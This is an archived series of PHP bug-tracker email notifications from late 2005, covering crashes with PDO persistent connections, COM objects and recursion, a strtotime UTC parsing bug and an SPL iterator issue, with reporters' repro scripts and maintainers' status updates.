#35415 [Fbk-Opn]: Apache crash with persistent connection
ID: 35415
User updated by: gm at html dot it
Reported By: gm at html dot it
-Status: Feedback
+Status: Open
Bug Type: PDO related
Operating System: Linux Fedora Core 4
PHP Version: 5.1.0
New Comment:
Nothing has changed, always the same apache crash and the same error in
error.log
[Sun Nov 27 09:55:53 2005] [notice] child pid 2260 exit signal
Segmentation fault (11)
Previous Comments:
[2005-11-27 01:12:38] [EMAIL PROTECTED]
Please try using this CVS snapshot:
http://snaps.php.net/php5-latest.tar.gz
For Windows:
http://snaps.php.net/win32/php5-win32-latest.zip
If you're still able to reproduce it - please provide GDB backtrace.
[2005-11-27 01:11:04] gm at html dot it
Description:
The code reported causes an apache crash.
It happens only with persistent connection, if i set
PDO::ATTR_PERSISTENT = false, the script works fine.
Reproduce code:
---
?php
try {
$dbo = new PDO(
'mysql:host=localhost;dbname=test',
'user',
'pass',
array(PDO::ATTR_PERSISTENT = true)
);
} catch(PDOException $e) {
echo 'Errore di connessione: '.$e-getMessage();
}
$pdostatement = $dbo-prepare('SELECT * FROM fake_table');
$pdostatement-execute();
echo 'print something';
?
Expected result:
The script should just print out 'print something'.
Actual result:
--
Apache crash, this is the error in apache error.log:
Sun Nov 27 00:48:48 2005] [notice] child pid 3051 exit signal
Segmentation fault (11)
--
Edit this bug report at http://bugs.php.net/?id=35415edit=1
#35422 [NEW]: strtotime() does not parse times with UTC as timezone
From: HyneeHoadley at Hotmail dot com
Operating system: Windows XP
PHP version: 5.1.0
PHP Bug Type: Unknown/Other Function
Bug description: strtotime() does not parse times with UTC as timezone
Description:
strtotime() used to accept dates with the format 'July 1, 2000 00:00:00
UTC', but now produces NULL or empty output.
Reproduce code:
---
?php
$gmt_time = strtotime('July 1, 2000 00:00:00 GMT');
$utc_time = strtotime('July 1, 2000 00:00:00 UTC');
echo $gmt_time\n;
echo $utc_time\n;
print_r($utc_time);
?
Expected result:
962409600
962409600
962409600
Actual result:
--
962409600
--
Edit bug report at http://bugs.php.net/?id=35422edit=1
--
Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=35422r=trysnapshot4
Try a CVS snapshot (php5.0):
http://bugs.php.net/fix.php?id=35422r=trysnapshot50
Try a CVS snapshot (php5.1):
http://bugs.php.net/fix.php?id=35422r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=35422r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=35422r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=35422r=needtrace
Need Reproduce Script: http://bugs.php.net/fix.php?id=35422r=needscript
Try newer version: http://bugs.php.net/fix.php?id=35422r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=35422r=support
Expected behavior: http://bugs.php.net/fix.php?id=35422r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=35422r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=35422r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=35422r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=35422r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=35422r=dst
IIS Stability: http://bugs.php.net/fix.php?id=35422r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=35422r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=35422r=float
No Zend Extensions: http://bugs.php.net/fix.php?id=35422r=nozend
MySQL Configuration Error: http://bugs.php.net/fix.php?id=35422r=mysqlcfg
#35367 [Fbk-Opn]: php exits (crashes?) on function call inside same function
ID: 35367
User updated by: andrus at wap3 dot net
Reported By: andrus at wap3 dot net
-Status: Feedback
+Status: Open
Bug Type: Class/Object related
Operating System: Debian Linux
PHP Version: 4.4.1
New Comment:
bug was not just class related, but seems general recrussion related:
following code produced crash on 3 server i tested:
file1: test.php
?php
error_reporting (E_ALL);
require (test2.php);
$im_resize_res_max = '1600x1200';
$im_resize_res_min = '120x120';
resolution_check (1x1, 2x2);
print OK;
?
file2: test2.php
?php
/* check if $res1 is fits inside $res2 */
function resolution_check ($res1 = '', $res2 = '') {
global $im_resize_res_max, $im_resize_res_min;
if (!strchr ($res1, 'x') || !strchr ($res2, 'x')) //
invalid resolutions
return -1;
// check if not too big or too small image
if (resolution_check ($res1, $im_resize_res_max) != 1)
return -2;
if (resolution_check ($res1, $im_resize_res_min) == 1)
return -3;
list ($x1, $y1) = explode ('x', $res1, 2);
list ($x2, $y2) = explode ('x', $res2, 2);
$x1 = (int) $x1;
$x2 = (int) $x2;
$y1 = (int) $y1;
$y2 = (int) $y2;
if ($x1 = 0 || $x2 = 0 || $y1 = 0 || $y2 = 0) //
invalid
return -1;
if ($x2 = $x1 $y2 = $y1) // match
return 1;
return 0;
}
?
when i run test.php it never completes. same time if i copy this
function to same source file it worked.
Unfortunately i dont have gdb access right now. If you cannot reporduce
it i will deal with administration about it.
Previous Comments:
[2005-11-24 16:19:01] [EMAIL PROTECTED]
Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php
Once you have generated a backtrace, please submit it to this bug
report and change the status back to Open. Thank you for helping
us make PHP better.
I can't see any crashes or exits with this code.
[2005-11-24 15:55:11] andrus at wap3 dot net
Description:
Function terminates while calling itself from itself inside class
Reproduce code:
---
make class:
class test {
function foo ($a = 0) {
$a++;
if ($a 10)
$a = $this-foo ($a);
return $a;
}
}
use it:
$a = new test;
print $a-foo (1);
Expected result:
any result, not termination
Actual result:
--
php script terminates on $this-foo place
--
Edit this bug report at http://bugs.php.net/?id=35367edit=1
#35367 [Opn]: php exits (crashes?) on function call inside same function
ID: 35367
User updated by: andrus at wap3 dot net
Reported By: andrus at wap3 dot net
Status: Open
-Bug Type: Class/Object related
+Bug Type: Scripting Engine problem
Operating System: Debian Linux
-PHP Version: 4.4.1
+PHP Version: 4.4.1 (also 5.1.0)
New Comment:
tested also on 5.1.0, same result
Previous Comments:
[2005-11-27 10:22:06] andrus at wap3 dot net
bug was not just class related, but seems general recrussion related:
following code produced crash on 3 server i tested:
file1: test.php
?php
error_reporting (E_ALL);
require (test2.php);
$im_resize_res_max = '1600x1200';
$im_resize_res_min = '120x120';
resolution_check (1x1, 2x2);
print OK;
?
file2: test2.php
?php
/* check if $res1 is fits inside $res2 */
function resolution_check ($res1 = '', $res2 = '') {
global $im_resize_res_max, $im_resize_res_min;
if (!strchr ($res1, 'x') || !strchr ($res2, 'x')) //
invalid resolutions
return -1;
// check if not too big or too small image
if (resolution_check ($res1, $im_resize_res_max) != 1)
return -2;
if (resolution_check ($res1, $im_resize_res_min) == 1)
return -3;
list ($x1, $y1) = explode ('x', $res1, 2);
list ($x2, $y2) = explode ('x', $res2, 2);
$x1 = (int) $x1;
$x2 = (int) $x2;
$y1 = (int) $y1;
$y2 = (int) $y2;
if ($x1 = 0 || $x2 = 0 || $y1 = 0 || $y2 = 0) //
invalid
return -1;
if ($x2 = $x1 $y2 = $y1) // match
return 1;
return 0;
}
?
when i run test.php it never completes. same time if i copy this
function to same source file it worked.
Unfortunately i dont have gdb access right now. If you cannot reporduce
it i will deal with administration about it.
[2005-11-24 16:19:01] [EMAIL PROTECTED]
Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php
Once you have generated a backtrace, please submit it to this bug
report and change the status back to Open. Thank you for helping
us make PHP better.
I can't see any crashes or exits with this code.
[2005-11-24 15:55:11] andrus at wap3 dot net
Description:
Function terminates while calling itself from itself inside class
Reproduce code:
---
make class:
class test {
function foo ($a = 0) {
$a++;
if ($a 10)
$a = $this-foo ($a);
return $a;
}
}
use it:
$a = new test;
print $a-foo (1);
Expected result:
any result, not termination
Actual result:
--
php script terminates on $this-foo place
--
Edit this bug report at http://bugs.php.net/?id=35367edit=1
#35367 [Opn]: php exits (crashes?) on function call inside same function
ID: 35367
User updated by: andrus at wap3 dot net
Reported By: andrus at wap3 dot net
Status: Open
Bug Type: Scripting Engine problem
Operating System: Debian Linux
PHP Version: 4.4.1 (also 5.1.0)
New Comment:
tested with latest snapshot, same result
Previous Comments:
[2005-11-27 10:34:51] andrus at wap3 dot net
tested also on 5.1.0, same result
[2005-11-27 10:22:06] andrus at wap3 dot net
bug was not just class related, but seems general recrussion related:
following code produced crash on 3 server i tested:
file1: test.php
?php
error_reporting (E_ALL);
require (test2.php);
$im_resize_res_max = '1600x1200';
$im_resize_res_min = '120x120';
resolution_check (1x1, 2x2);
print OK;
?
file2: test2.php
?php
/* check if $res1 is fits inside $res2 */
function resolution_check ($res1 = '', $res2 = '') {
global $im_resize_res_max, $im_resize_res_min;
if (!strchr ($res1, 'x') || !strchr ($res2, 'x')) //
invalid resolutions
return -1;
// check if not too big or too small image
if (resolution_check ($res1, $im_resize_res_max) != 1)
return -2;
if (resolution_check ($res1, $im_resize_res_min) == 1)
return -3;
list ($x1, $y1) = explode ('x', $res1, 2);
list ($x2, $y2) = explode ('x', $res2, 2);
$x1 = (int) $x1;
$x2 = (int) $x2;
$y1 = (int) $y1;
$y2 = (int) $y2;
if ($x1 = 0 || $x2 = 0 || $y1 = 0 || $y2 = 0) //
invalid
return -1;
if ($x2 = $x1 $y2 = $y1) // match
return 1;
return 0;
}
?
when i run test.php it never completes. same time if i copy this
function to same source file it worked.
Unfortunately i dont have gdb access right now. If you cannot reporduce
it i will deal with administration about it.
[2005-11-24 16:19:01] [EMAIL PROTECTED]
Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php
Once you have generated a backtrace, please submit it to this bug
report and change the status back to Open. Thank you for helping
us make PHP better.
I can't see any crashes or exits with this code.
[2005-11-24 15:55:11] andrus at wap3 dot net
Description:
Function terminates while calling itself from itself inside class
Reproduce code:
---
make class:
class test {
function foo ($a = 0) {
$a++;
if ($a 10)
$a = $this-foo ($a);
return $a;
}
}
use it:
$a = new test;
print $a-foo (1);
Expected result:
any result, not termination
Actual result:
--
php script terminates on $this-foo place
--
Edit this bug report at http://bugs.php.net/?id=35367edit=1
#35423 [NEW]: RecursiveDirectoryFilter doesnt appear to recurse
From: Jared dot Williams1 at ntlworld dot com Operating system: Win2000 PHP version: 5.1.0 PHP Bug Type: SPL related Bug description: RecursiveDirectoryFilter doesnt appear to recurse Description: RecursiveDirectoryIterator doesnt appear to recurse into subdirectories. Reproduce code: --- http://cvs.php.net/co.php/php-src/ext/spl/examples/nocvsdir.php?r=1.2 ...php5\ext\spl\examplesphp nocvsdir.php ../../.. Expected result: List of all files and directories in the php5 cvs tree, but excluding any named 'CVS' Actual result: -- Just a list of files directly below the specified directory. -- Edit bug report at http://bugs.php.net/?id=35423edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=35423r=trysnapshot4 Try a CVS snapshot (php5.0): http://bugs.php.net/fix.php?id=35423r=trysnapshot50 Try a CVS snapshot (php5.1): http://bugs.php.net/fix.php?id=35423r=trysnapshot51 Fixed in CVS:http://bugs.php.net/fix.php?id=35423r=fixedcvs Fixed in release:http://bugs.php.net/fix.php?id=35423r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=35423r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=35423r=needscript Try newer version: http://bugs.php.net/fix.php?id=35423r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=35423r=support Expected behavior: http://bugs.php.net/fix.php?id=35423r=notwrong Not enough info: http://bugs.php.net/fix.php?id=35423r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=35423r=submittedtwice register_globals:http://bugs.php.net/fix.php?id=35423r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=35423r=php3 Daylight Savings:http://bugs.php.net/fix.php?id=35423r=dst IIS Stability: http://bugs.php.net/fix.php?id=35423r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=35423r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=35423r=float No Zend Extensions: http://bugs.php.net/fix.php?id=35423r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=35423r=mysqlcfg
#35423 [Opn]: RecursiveDirectoryIterator doesnt appear to recurse with RecursiveFilterIterator
ID: 35423 User updated by: Jared dot Williams1 at ntlworld dot com -Summary: RecursiveDirectoryFilter doesnt appear to recurse Reported By: Jared dot Williams1 at ntlworld dot com Status: Open Bug Type: SPL related Operating System: Win2000 PHP Version: 5.1.0 New Comment: Fixed summary. Previous Comments: [2005-11-27 12:33:18] Jared dot Williams1 at ntlworld dot com Description: RecursiveDirectoryIterator doesnt appear to recurse into subdirectories. Reproduce code: --- http://cvs.php.net/co.php/php-src/ext/spl/examples/nocvsdir.php?r=1.2 ...php5\ext\spl\examplesphp nocvsdir.php ../../.. Expected result: List of all files and directories in the php5 cvs tree, but excluding any named 'CVS' Actual result: -- Just a list of files directly below the specified directory. -- Edit this bug report at http://bugs.php.net/?id=35423edit=1
#35423 [Opn-Asn]: RecursiveDirectoryIterator doesnt appear to recurse with RecursiveFilterIterator
ID: 35423 Updated by: [EMAIL PROTECTED] Reported By: Jared dot Williams1 at ntlworld dot com -Status: Open +Status: Assigned Bug Type: SPL related Operating System: * PHP Version: 5.1.0 Assigned To: helly Previous Comments: [2005-11-27 12:37:53] Jared dot Williams1 at ntlworld dot com Fixed summary. [2005-11-27 12:33:18] Jared dot Williams1 at ntlworld dot com Description: RecursiveDirectoryIterator doesnt appear to recurse into subdirectories. Reproduce code: --- http://cvs.php.net/co.php/php-src/ext/spl/examples/nocvsdir.php?r=1.2 ...php5\ext\spl\examplesphp nocvsdir.php ../../.. Expected result: List of all files and directories in the php5 cvs tree, but excluding any named 'CVS' Actual result: -- Just a list of files directly below the specified directory. -- Edit this bug report at http://bugs.php.net/?id=35423edit=1
#35316 [Asn-Csd]: Application exception on trying to create any COM object
ID: 35316
Updated by: [EMAIL PROTECTED]
Reported By: Jared dot Williams1 at ntlworld dot com
-Status: Assigned
+Status: Closed
Bug Type: COM related
Operating System: Windows 2000
PHP Version: 5.1.0RC6
Assigned To: wez
New Comment:
This bug has been fixed in CVS.
Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
Thank you for the report, and for helping us make PHP better.
Previous Comments:
[2005-11-27 07:41:47] yoy at yoy dot com
Win Xp Pro
Apache 2
PHP 5.1.0
$conn=new COM('some_ActiveX_object.some_class');
I test it with ActiveX-exe/dll and still my apache crashe couse the
error in php5ts.dll module.
with V5.0.4.4 I dont see any problem.
[2005-11-26 02:37:26] msisolak at yahoo dot com
Here is the call stack I'm seeing at the crash point:
php5ts_debug.dll!zend_objects_destroy_object(_zend_object *
object=0x00a5bef0, unsigned int handle=1, void * * *
tsrm_ls=0x00912578) Line 31 + 0x5
php5ts_debug.dll!zend_objects_store_del_ref(_zval_struct *
zobject=0x00a5b708, void * * * tsrm_ls=0x00912578) Line 163 + 0x16
php5ts_debug.dll!_zval_dtor_func(_zval_struct * zvalue=0x00a5b708, char
* __zend_filename=0x1049b158, unsigned int __zend_lineno=35) Line 52 +
0x13
php5ts_debug.dll!_zval_dtor(_zval_struct * zvalue=0x00a5b708, char *
__zend_filename=0x104a2de8, unsigned int __zend_lineno=818) Line 35 +
0x17
php5ts_debug.dll!zend_assign_to_variable(_znode * result=0x00a5c2b8,
_znode * op1=0x00a5c2d0, _znode * op2=0x00a5c2e8, _zval_struct *
value=0x00a5c468, int type=2, _temp_variable * Ts=0x00a5c408, void * *
* tsrm_ls=0x00912578) Line 818 + 0x19
php5ts_debug.dll!ZEND_ASSIGN_SPEC_CV_TMP_HANDLER(_zend_execute_data *
execute_data=0x0012f9b4, void * * * tsrm_ls=0x00912578) Line 22118 +
0x2b
php5ts_debug.dll!execute(_zend_op_array * op_array=0x00a5be28, void * *
* tsrm_ls=0x00912578) Line 88 + 0xf
php5ts_debug.dll!zend_eval_string(char * str=0x009124df, _zval_struct *
retval_ptr=0x, char * string_name=0x00418480, void * * *
tsrm_ls=0x00912578) Line 1056 + 0x10
php5ts_debug.dll!zend_eval_string_ex(char * str=0x009124df,
_zval_struct * retval_ptr=0x, char * string_name=0x00418480,
int handle_exceptions=1, void * * * tsrm_ls=0x00912578) Line 1090 +
0x15
php.exe!main(int argc=3, char * * argv=0x009124c8) Line 1078 + 0x1f
php.exe!mainCRTStartup() Line 398 + 0x11
kernel32.dll!7c816d4f()
kernel32.dll!7c8399f3()
[2005-11-26 02:10:54] msisolak at yahoo dot com
I'm seeing the same behavior in the released PHP 5.1.0.
[2005-11-22 10:06:23] [EMAIL PROTECTED]
Assigned to the maintainer.
[2005-11-21 19:13:19] Jared dot Williams1 at ntlworld dot com
Description:
An application exception occurs when trying to create any COM object.
COM php.ini settings.. (all defaults)
Directive = Local Value = Master Value
com.allow_dcom = 0 = 0
com.autoregister_casesensitive = 1 = 1
com.autoregister_typelib = 0 = 0
com.autoregister_verbose = 0 = 0
com.code_page = no value = no value
com.typelib_file = no value = no value
Reproduce code:
---
php -r $fso = new COM('Scripting.FileSystemObject'); $fso = NULL;
php -r $word = new COM('Word.Application'); $word = NULL;
php -r $connection = new COM('ADODB.Connection'); $connection = NULL;
Expected result:
Nothing.
Actual result:
--
---
php.exe - Application Error
---
The instruction at 0x100aa8dd referenced memory at 0x00f9. The
memory could not be read.
Click on OK to terminate the program
Click on CANCEL to debug the program
---
OK Cancel
---
--
Edit this bug report at http://bugs.php.net/?id=35316edit=1
#35423 [Asn-Csd]: RecursiveDirectoryIterator doesnt appear to recurse with RecursiveFilterIterator
ID: 35423 Updated by: [EMAIL PROTECTED] Reported By: Jared dot Williams1 at ntlworld dot com -Status: Assigned +Status: Closed Bug Type: SPL related Operating System: * PHP Version: 5.1.0 Assigned To: helly New Comment: This bug has been fixed in CVS. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. Thank you for the report, and for helping us make PHP better. The example was simply copied from head to 5.1. There it is missing some updates i have only on my machine which are scheduled for 5.1.2. The problem is however fixed in CVS now and it is only in the php script. It has nothing to do with the topic directly. Indeed it is missing a simply missing a 'conversion' in the NoCvsDirectory class that is done automatically in HEAD. Previous Comments: [2005-11-27 12:37:53] Jared dot Williams1 at ntlworld dot com Fixed summary. [2005-11-27 12:33:18] Jared dot Williams1 at ntlworld dot com Description: RecursiveDirectoryIterator doesnt appear to recurse into subdirectories. Reproduce code: --- http://cvs.php.net/co.php/php-src/ext/spl/examples/nocvsdir.php?r=1.2 ...php5\ext\spl\examplesphp nocvsdir.php ../../.. Expected result: List of all files and directories in the php5 cvs tree, but excluding any named 'CVS' Actual result: -- Just a list of files directly below the specified directory. -- Edit this bug report at http://bugs.php.net/?id=35423edit=1
#35389 [Asn-Bgs]: COM stalled
ID: 35389
Updated by: [EMAIL PROTECTED]
Reported By: bke15 at gmx dot de
-Status: Assigned
+Status: Bogus
Bug Type: COM related
Operating System: Windows 2003
PHP Version: 5.1.0
Assigned To: wez
New Comment:
Please do not submit the same bug more than once. An existing
bug report already describes this very problem. Even if you feel
that your issue is somewhat different, the resolution is likely
to be the same.
Thank you for your interest in PHP.
Dupe of bug #35316
and fixed in CVS
Previous Comments:
[2005-11-26 16:42:22] jbr at yaright dot com
HI
PHP 5.1.0 ISAPI AND CGI
I have tried to get COM via PHP 5.1.0 to work on IIS, Apache and
Sambar. Trying to use even (try, catch) no matter what simple object is
called will result in...
PHP has encountered an Access Violation at 0140AC0D
This works in...
PHP 5.0.*, and snaps 5.1.x-dev before Nov 19, 2005 snaps.
?
$url = 'http://www.php.com/';
$obj = new COM ( 'InternetExplorer.Application' );
if ( is_object ( $obj ) )
{
$ifn = parse_url ( $url );
$obj-Visible = false;
$obj-FullScreen = true;
$obj-Width = 800;
$obj-Navigate ( $url );
while ( $obj-ReadyState != '4' ) usleep ( 1 );
echo $obj-Document-body-scrollHeight;
$obj-Quit ();
$obj = null;
}
?
The result should print the (document body scroll height in pixels)
At least in PHP 5.0.4, COM was working ok, sure there were still
problems with variants and references to variants, but at least COM was
working, now nothing. I tried the latest (5.1.dev - Nov 26, 2005 11:30
GMT and it still does not work, same problem)
[2005-11-25 14:04:51] bke15 at gmx dot de
I have no errors in the ErrorLog nor in the eventlog.
[2005-11-25 13:21:32] [EMAIL PROTECTED]
Btw, check the event viewer or whatever it's called to see if there are
any error log entries.
[2005-11-25 13:18:35] bke15 at gmx dot de
SysInformation: I am using IIS with ISAPI Extension.
Windows is running with latest servicepack and patches.
[2005-11-25 12:38:52] [EMAIL PROTECTED]
Assigned to the maintainer.
The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/35389
--
Edit this bug report at http://bugs.php.net/?id=35389edit=1
#35418 [Opn-Fbk]: Crash when stopping Apache2 services
ID: 35418 Updated by: [EMAIL PROTECTED] Reported By: s dot dominici at libertysurf dot fr -Status: Open +Status: Feedback Bug Type: Apache2 related Operating System: Windows XP PHP Version: 5.1.0 New Comment: Please try using this CVS snapshot: http://snaps.php.net/php5-latest.tar.gz For Windows: http://snaps.php.net/win32/php5-win32-latest.zip Previous Comments: [2005-11-27 03:43:42] s dot dominici at libertysurf dot fr Description: I have test whith PHP 5.1.0 to 5.1.1.1 and have the same result : Apache2 service crash when stopping it. Configuration : MySQL 4.1.15 Apache 2.0.55 No problem on same configuration with PHP 5.0.5 Expected result: Apache2 should exit without application error Actual result: -- Here extract of Windows Application Events : Application défaillante Apache.exe, version 2.0.55.0, module défaillant php_mysql.dll, version 5.1.1.1, adresse de défaillance 0x11e7. -- Edit this bug report at http://bugs.php.net/?id=35418edit=1
#35415 [Opn-Fbk]: Apache crash with persistent connection
ID: 35415
Updated by: [EMAIL PROTECTED]
Reported By: gm at html dot it
-Status: Open
+Status: Feedback
Bug Type: PDO related
Operating System: Linux Fedora Core 4
PHP Version: 5.1.0
New Comment:
Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php
Once you have generated a backtrace, please submit it to this bug
report and change the status back to Open. Thank you for helping
us make PHP better.
Previous Comments:
[2005-11-27 09:57:23] gm at html dot it
Nothing has changed, always the same apache crash and the same error in
error.log
[Sun Nov 27 09:55:53 2005] [notice] child pid 2260 exit signal
Segmentation fault (11)
[2005-11-27 01:12:38] [EMAIL PROTECTED]
Please try using this CVS snapshot:
http://snaps.php.net/php5-latest.tar.gz
For Windows:
http://snaps.php.net/win32/php5-win32-latest.zip
If you're still able to reproduce it - please provide GDB backtrace.
[2005-11-27 01:11:04] gm at html dot it
Description:
The code reported causes an apache crash.
It happens only with persistent connection, if i set
PDO::ATTR_PERSISTENT = false, the script works fine.
Reproduce code:
---
?php
try {
$dbo = new PDO(
'mysql:host=localhost;dbname=test',
'user',
'pass',
array(PDO::ATTR_PERSISTENT = true)
);
} catch(PDOException $e) {
echo 'Errore di connessione: '.$e-getMessage();
}
$pdostatement = $dbo-prepare('SELECT * FROM fake_table');
$pdostatement-execute();
echo 'print something';
?
Expected result:
The script should just print out 'print something'.
Actual result:
--
Apache crash, this is the error in apache error.log:
Sun Nov 27 00:48:48 2005] [notice] child pid 3051 exit signal
Segmentation fault (11)
--
Edit this bug report at http://bugs.php.net/?id=35415edit=1
#35367 [Opn-Fbk]: php exits (crashes?) on function call inside same function
ID: 35367
Updated by: [EMAIL PROTECTED]
Reported By: andrus at wap3 dot net
-Status: Open
+Status: Feedback
-Bug Type: Scripting Engine problem
+Bug Type: Unknown/Other Function
Operating System: Debian Linux
PHP Version: 5.1.0, 4.4.1
New Comment:
Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php
Once you have generated a backtrace, please submit it to this bug
report and change the status back to Open. Thank you for helping
us make PHP better.
Previous Comments:
[2005-11-27 10:59:45] andrus at wap3 dot net
tested with latest snapshot, same result
[2005-11-27 10:34:51] andrus at wap3 dot net
tested also on 5.1.0, same result
[2005-11-27 10:22:06] andrus at wap3 dot net
bug was not just class related, but seems general recrussion related:
following code produced crash on 3 server i tested:
file1: test.php
?php
error_reporting (E_ALL);
require (test2.php);
$im_resize_res_max = '1600x1200';
$im_resize_res_min = '120x120';
resolution_check (1x1, 2x2);
print OK;
?
file2: test2.php
?php
/* check if $res1 is fits inside $res2 */
function resolution_check ($res1 = '', $res2 = '') {
global $im_resize_res_max, $im_resize_res_min;
if (!strchr ($res1, 'x') || !strchr ($res2, 'x')) //
invalid resolutions
return -1;
// check if not too big or too small image
if (resolution_check ($res1, $im_resize_res_max) != 1)
return -2;
if (resolution_check ($res1, $im_resize_res_min) == 1)
return -3;
list ($x1, $y1) = explode ('x', $res1, 2);
list ($x2, $y2) = explode ('x', $res2, 2);
$x1 = (int) $x1;
$x2 = (int) $x2;
$y1 = (int) $y1;
$y2 = (int) $y2;
if ($x1 = 0 || $x2 = 0 || $y1 = 0 || $y2 = 0) //
invalid
return -1;
if ($x2 = $x1 $y2 = $y1) // match
return 1;
return 0;
}
?
when i run test.php it never completes. same time if i copy this
function to same source file it worked.
Unfortunately i dont have gdb access right now. If you cannot reporduce
it i will deal with administration about it.
[2005-11-24 16:19:01] [EMAIL PROTECTED]
Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php
Once you have generated a backtrace, please submit it to this bug
report and change the status back to Open. Thank you for helping
us make PHP better.
I can't see any crashes or exits with this code.
[2005-11-24 15:55:11] andrus at wap3 dot net
Description:
Function terminates while calling itself from itself inside class
Reproduce code:
---
make class:
class test {
function foo ($a = 0) {
$a++;
if ($a 10)
$a = $this-foo ($a);
return $a;
}
}
use it:
$a = new test;
print $a-foo (1);
Expected result:
any result, not termination
Actual result:
--
php script terminates on $this-foo place
--
Edit this bug report at http://bugs.php.net/?id=35367edit=1
#35422 [Opn-Asn]: strtotime() does not parse times with UTC as timezone
ID: 35422
Updated by: [EMAIL PROTECTED]
Reported By: HyneeHoadley at Hotmail dot com
-Status: Open
+Status: Assigned
Bug Type: Date/time related
Operating System: Windows XP
PHP Version: 5.1.0
-Assigned To:
+Assigned To: derick
New Comment:
Assigned to the author.
Previous Comments:
[2005-11-27 10:11:17] HyneeHoadley at Hotmail dot com
Description:
strtotime() used to accept dates with the format 'July 1, 2000 00:00:00
UTC', but now produces NULL or empty output.
Reproduce code:
---
?php
$gmt_time = strtotime('July 1, 2000 00:00:00 GMT');
$utc_time = strtotime('July 1, 2000 00:00:00 UTC');
echo $gmt_time\n;
echo $utc_time\n;
print_r($utc_time);
?
Expected result:
962409600
962409600
962409600
Actual result:
--
962409600
--
Edit this bug report at http://bugs.php.net/?id=35422edit=1
#35367 [Fbk-Opn]: php exits (crashes?) on function call inside same function
ID: 35367
User updated by: andrus at wap3 dot net
Reported By: andrus at wap3 dot net
-Status: Feedback
+Status: Open
Bug Type: Unknown/Other Function
Operating System: Debian Linux
PHP Version: 5.1.0, 4.4.1
New Comment:
#0 execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1097
#1 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
#2 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
#3 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
#4 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
#5 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
#6 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
#7 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
#8 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
#9 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
#10 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
#11 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
#12 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
#13 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
#14 0x081f18c5 in execute (op_array=0x83f78e8) at
/root/php4-STABLE-200511270752/Zend/zend_execute.c:1719
Previous Comments:
[2005-11-27 14:02:03] [EMAIL PROTECTED]
Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php
Once you have generated a backtrace, please submit it to this bug
report and change the status back to Open. Thank you for helping
us make PHP better.
[2005-11-27 10:59:45] andrus at wap3 dot net
tested with latest snapshot, same result
[2005-11-27 10:34:51] andrus at wap3 dot net
tested also on 5.1.0, same result
[2005-11-27 10:22:06] andrus at wap3 dot net
bug was not just class related, but seems general recrussion related:
following code produced crash on 3 server i tested:
file1: test.php
?php
error_reporting (E_ALL);
require (test2.php);
$im_resize_res_max = '1600x1200';
$im_resize_res_min = '120x120';
resolution_check (1x1, 2x2);
print OK;
?
